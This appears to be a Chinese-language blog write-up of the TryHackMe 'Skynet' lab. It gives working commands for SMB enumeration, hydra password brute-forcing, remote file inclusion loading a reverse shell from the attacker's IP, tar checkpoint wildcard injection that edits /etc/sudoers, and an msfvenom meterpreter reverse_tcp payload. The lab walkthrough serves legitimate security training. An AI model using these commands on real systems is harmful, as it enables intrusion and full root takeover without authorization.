smb服务信息收集与tar命令利用(day6)


TryHackMe系列之Skynet


信息收集

有smb服务,以及22、80端口

shell获取

打开80端口,啥也没有

用diresearch扫描,发现目录/squirrelmail

访问:

smb服务信息收集


使用nmap进一步扫描smb共享文件和用户

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.107.164

查看anonymous文件:

smbclient //10.10.107.164/anonymous

刚刚开始直接下logs文件夹,但是里面的内容没有下完整有密码的log1.txt文件没有下下来,不然我应该可以自己做到更后面的步骤。

直接用以下命令下载:

smbget -R smb://10.10.107.164/anonymous

可以看到log1.txt里是几串疑似密码的字符串:

hydra爆破登入


用hydra拿它做爆破字典用,怀疑账号管理员是是milesdyson,因为smb的用户是它,并且attention.txt文件的留言人是Miles Dyson:

hydra -l milesdyson -P /root/logs/log1.txt 10.10.107.164 http-post-form '/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect'

拿到账号密码登入

点击第一个password reset,一眼重要信息:

明确告诉是smb的登入密码,登入smb用户的格式:

smbclient -U milesdyson //10.10.107.164/milesdyson

渗透刷题就是积累感觉看到一些文件名,要有反应,管理员的note笔记文件夹肯定要看

找到important.txt文件,下载到本机

根据后面两条信息看应该是备忘录,第一条信息应该是给未完成的页面增加功能,beta是正在测试未发行的意思,访问:

没有信息就扫描,因为指明了这个是一个未开发完成的cms管理系统

没想着会被找到,因此管理后台没有更改名字,访问:

小众的cms系统,用searchsploit找找脚本:

远程文件包含漏洞


文件包含漏洞包含本地文件叫本地文件包含漏洞,但可以包含远程漏洞

思路:在本地开启http服务,root文件夹下放置反弹shell文件让其包含它,访问网址:

http://10.10.107.164/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.6.51.213/reverse.php

# 格式:http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?

开启监听可以拿到shell:(一定要检查脚本命令,有个双引号变中文了,找了我20分钟原因)

提权

法一:tar命令提权(小众)

这种提权还是不好想,不是每个人都会利用,但也是个思路

拿到shell后可以考虑该系统上的一些定时文件,linux上是在/etc/crontab里:

backup.sh文件每分钟都在运行,看到这想到以前做过的替换文件,以为这也是同样的思路,但是:

可以看到虽然是用root权限执行,但是我们普通用户是没有往backups文件夹写入权限的,也即是我们没法做到替换。

查看内容,它将靶机运行的网站一直备份

tar 允许使用 2 个可用于中毒的选项,以强制二进制文件执行意外操作:

  • checkpoint[=NUMBER] — 此选项每 NUMBER 条记录显示进度消息(默认值为 10)
  • checkpoint-action=ACTION — 此选项在每个检查点上执行所述操作

利用:

在当前目录下创建一个名为 sudo.sh 的文件,并将

echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers

这段文本写入到文件中。这段文本的作用是向 /etc/sudoers 文件添加一条规则,允许用户 www-data 在执行 sudo 时无需输入密码!!!!!!

记得在/var/www/html文件操作:

echo 'echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > sudo.sh

touch "/var/www/html/--checkpoint-action=exec=sh sudo.sh"

touch "/var/www/html/--checkpoint=1"

/etc/sudoers文件


  • /etc/sudoers 是一个特殊的系统文件,用于配置 sudo 命令的行为。sudo 是一种允许普通用户以超级用户(root)的权限执行命令的机制。/etc/sudoers 文件中包含了授权给不同用户或用户组的 sudo 权限规则。每一行的语法为

    语法
    用户 主机=(执行命令的用户) 命令

    再次执行sudo su即可提权。

    法二:meterpreter提权


    PEASS_ng工具

    信息收集的神,自动列出可利用的列表和相关CVE漏洞!!!

    老方法利用反弹的shell下载本机的msf反弹shell获得meterpreter_shell

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.6.51.213 LPORT=7777 -f elf > mshell.elf
msfconsole -qx 'use exploit/multi/handler;set payload linux/x64/meterpreter/reverse_tcp;set lhost 10.6.51.213;set lport 7777;run'

然后下载https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

专门针对linux的分析工具,用meterpreter上传linPEA,赋予权限后直接运行。

CVE-2021-4034漏洞

可以直接推荐cve漏洞,这里选择CVE-2021-4034

不管什么时候msfconsole都十分的方便,其他几个漏洞特别是什么UAF cve真玩不了,复现也要看水准。。。


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录